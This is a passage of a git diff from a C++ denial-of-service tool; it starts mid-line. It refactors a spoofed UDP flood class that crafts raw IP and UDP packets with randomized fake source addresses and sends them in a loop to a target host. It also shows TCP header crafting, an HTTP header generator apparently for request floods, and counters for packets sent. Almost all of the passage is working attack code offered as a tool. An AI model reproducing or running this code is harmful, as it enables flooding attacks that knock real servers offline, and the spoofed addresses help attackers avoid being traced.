htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->th_seq = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); + tcp->th_ack = htonl(static_cast(Randomizer::randomInt(0, RAND_MAX))); + tcp->th_off = sizeof(struct tcphdr)/4; + tcp->th_win = htons(5840); } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 0c732c8..2911f84 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -1,22 +1,18 @@ #include #include #include -#include -#include #include -#include -#include + #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_UDP_Flood.hpp" +#include "../Headers/Logging.hpp" -void Spoofed_UDP_Flood::attack(const int *id) { - int r; +void Spoofed_UDP_Flood::attack() { std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); } - std::string message{}; char buf[8192], *pseudogram; struct pseudo_header psh{}; auto *ip = (struct iphdr *) buf; @@ -32,14 +28,16 @@ void Spoofed_UDP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ @@ -64,24 +62,18 @@ void Spoofed_UDP_Flood::attack(const int *id) { memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , udp , sizeof(struct udphdr) + strlen(buf)); - udp->check = csum( (unsigned short*) pseudogram , psize); + udp->uh_sum = csum( (unsigned short*) pseudogram , psize); - if((r = static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1){ + if((static_cast(sendto(sockets[x], buf, ip->tot_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)))) == -1) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_UDP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } - delete pseudogram; } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } @@ -102,7 +94,7 @@ void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct - ip->ihl = 5; + ip->ihl = sizeof(struct iphdr)/4; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); @@ -110,12 +102,10 @@ void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { ip->frag_off = htons(0x0); ip->ttl = 255; ip->protocol = IPPROTO_UDP; - ip->check = 0; ip->check = csum((unsigned short *) buf, ip->tot_len); // UDP Struct - udp->source = htons(static_cast(s_port)); - udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - udp->len = htons(static_cast(sizeof(struct udphdr))); - udp->check = 0; + udp->uh_sport = htons(static_cast(s_port)); + udp->uh_dport = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + udp->uh_ulen = htons(static_cast(sizeof(struct udphdr))); } diff --git a/Sources/Validator.cpp b/Sources/Validator.cpp index ba07b1b..2f6c79d 100755 --- a/Sources/Validator.cpp +++ b/Sources/Validator.cpp @@ -1,6 +1,7 @@ #include #include #include + #include "../Headers/Validator.hpp" Validator::Validator() = default; diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp new file mode 100644 index 0000000..07d420f --- /dev/null +++ b/Sources/httphdr.cpp @@ -0,0 +1,64 @@ +#include "../Headers/httphdr.hpp" + +#define TERMINATOR "\r\n" + +void httphdr::generate_unterminated() { + *hdr = method + " /" + path + " HTTP/1.0" + TERMINATOR + + "User-Agent: " + useragent + TERMINATOR + + "Cache-Control: " + cache_control + TERMINATOR + + "Accept-Encoding: " + encoding + TERMINATOR + + "Accept-Charset: " + charset[0] + ", " + charset[1] + TERMINATOR + + "Referer: " + referer + TERMINATOR + + "Accept: " + accept + TERMINATOR + + "Connection: " + connection_type + TERMINATOR + + "Content-Type: " + content_type + TERMINATOR + + (content_length ? "Content-Length: " + std::to_string(content_length) : "") + TERMINATOR + + "Cookie: " + cookie[0] + "=" + cookie[1] + TERMINATOR + + "Keep-Alive: " + std::to_string(keep_alive) + TERMINATOR + + "DNT: " + std::to_string(DNT) + TERMINATOR; +} + +void httphdr::generate() { + generate_unterminated(); + *hdr += TERMINATOR; +} + +const char *httphdr::get() { + return hdr->c_str(); +} + +unsigned long httphdr::length() { + return hdr->length(); +} + +httphdr& httphdr::operator=(std::string& header) noexcept{ + *hdr = header; + return *this; +} + +httphdr& httphdr::operator=(httphdr&& header) noexcept{ + method = header.method; + path = header.path; + useragent = header.useragent; + cache_control = header.cache_control; + encoding = header.encoding; + charset = header.charset; + referer = header.referer; + content_type = header.content_type; + cookie = header.cookie; + connection_type = header.connection_type; + keep_alive = header.keep_alive; + DNT = header.DNT; + accept = header.accept; + content_length = header.content_length; + *hdr = *header.get(); + return *this; +} + +httphdr::httphdr() { + hdr = new std::string{}; +} + +httphdr::~httphdr() { + delete hdr; +} diff --git a/main.cpp b/main.cpp index 4c356db..ab9eee2 100755 --- a/main.cpp +++ b/main.cpp @@ -2,28 +2,40 @@ #include #include #include +#include + #include "Headers/Parser.hpp" +#include "Headers/Logging.hpp" const pid_t m_pid = getpid(); +std::function show_stat; + -void exiting(int){ +void exit_signal(int){ if (getpid() == m_pid) { - std::cout << "Shutting down...\n"; - usleep(1000000); + fprintf(stdout, "%s\n", "Shutting down..."); + usleep(100000); } exit(EXIT_SUCCESS); } +void on_exit(){ + if (getpid() == m_pid) { + show_stat(); + } +} + void broke(int){ // pass } void init_signals(){ - signal(SIGINT, &exiting); - signal(SIGABRT, &exiting); - signal(SIGTERM, &exiting); - signal(SIGTSTP, &exiting); + signal(SIGINT, &exit_signal); + signal(SIGABRT, &exit_signal); + signal(SIGTERM, &exit_signal); + signal(SIGTSTP, &exit_signal); signal(SIGPIPE, &broke); + atexit(on_exit); } int main(const int argc, const char *argv[]) { @@ -31,6 +43,7 @@ int main(const int argc, const char *argv[]) { Parser::show_banner(); auto config = std::make_shared(); + show_stat = [&]{config->show_stat();}; auto parser = std::make_unique(config); parser->parse_commandline(argc, argv); auto validator = std::make_unique(config); @@ -38,7 +51,7 @@ int main(const int argc, const char *argv[]) { auto engine = std::make_unique(config); engine->run(); }else{ - config->logger->Log("Invalid Configuration", Logger::Error); + print_error("Invalid Configuration"); Parser::help(); }